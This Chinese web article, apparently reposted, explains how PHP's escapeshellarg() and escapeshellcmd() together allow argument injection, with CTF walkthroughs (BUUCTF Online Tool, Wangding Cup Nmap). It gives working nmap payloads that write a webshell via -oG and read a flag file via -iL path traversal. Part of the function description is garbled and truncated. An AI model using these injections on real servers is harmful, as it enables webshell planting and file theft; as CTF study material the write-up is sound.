小工具知识网

当前位置: 首页 > 行业知识 > PHP escapeshellarg()+escapeshellcmd()绕过

行业知识

PHP escapeshellarg()+escapeshellcmd()绕过

2026-11-04 00:42:43 来源:互联网转载

文章目录

    • 函数利用
      • escapeshellarg()函数
      • escapeshellcmd()函数
      • exp执行原理
      • 攻击面
      • 例题 [BUUCTF 2018]Online Tool
      • 例题 [网鼎杯 2020 朱雀组]Nmap

        函数利用

        escapeshellarg()函数

        单引号 ('):转义为 \'。双引号 ("):转义为 \"。反斜杠 (\):转义为 \\。美元符号 ($):转义为 \$。反引号 (`):转义为 ``````。感叹号 (!):转义为 \!。分号 (;):转义为 \;。大于号 (>):转义为 \>。小于号 ( escapeshellcmd这样的流程来处理输入是存在隐患的,mail就是个很好的例子,因为它函数内部使用了escapeshellcmd,如果开发人员仅用escapeshellarg来处理输入再传给mail那这层防御几乎是可以忽略的。 

        如果可以注入参数,那利用就是各种各样的了,例如 PHPMailer 和 RoundCube 中的mail和 Naigos Core 中的 curl都是很好的参数注入的例子。

        例题 [BUUCTF 2018]Online Tool

        源码

         -oG hack.php

        如果我们直接传入这个,只会被当成字符串无法写入马

        那么我们在传入参数的前面添加单引号,后面空格加单引号

        '127.0.0.1  -oG hack.php '

        传进去后变成

        ''127.0.0.1  -oG hack.php ''

        经过escapeshellarg函数处理

        '\'127.0.0.1  -oG hack.php \''//在转义的单引号左右添加单引号''\''127.0.0.1  -oG hack.php '\'''

        经过escapeshellcmd函数处理

        ''\''127.0.0.1  -oG hack.php '\'''

        执行结果会对目标\127.0.0.1发送命令 -oG hack.php \写入文件

        最终payload

        '127.0.0.1  -oG hack.php '

        或者

        '  -oG hack.php '

        成功写入后命令执行

        例题 [网鼎杯 2020 朱雀组]Nmap

        方法和前一题差不多

        大概测试了下,语句必须有host值,过滤了php

        利用管道符|,短标签和phtml后缀绕过

        127.0.0.1 | '  -oG hack.phtml '

        scan后访问/hack.phtml,命令执行即可

        还有一种利用方法,payload如下

        127.0.0.1' -iL ../../../../flag -o 1

        执行后,访问/1'即可得到flag

        解释一下,该命令拼接到执行语句后为

        '127.0.0.1'\'' -iL ../../../../flag -o 1\'

        也就是我们推导的exp执行过程

上一篇:服务器怎么调成创造?

下一篇:揭秘JSP音乐网站源码,轻松打造个性化音乐平台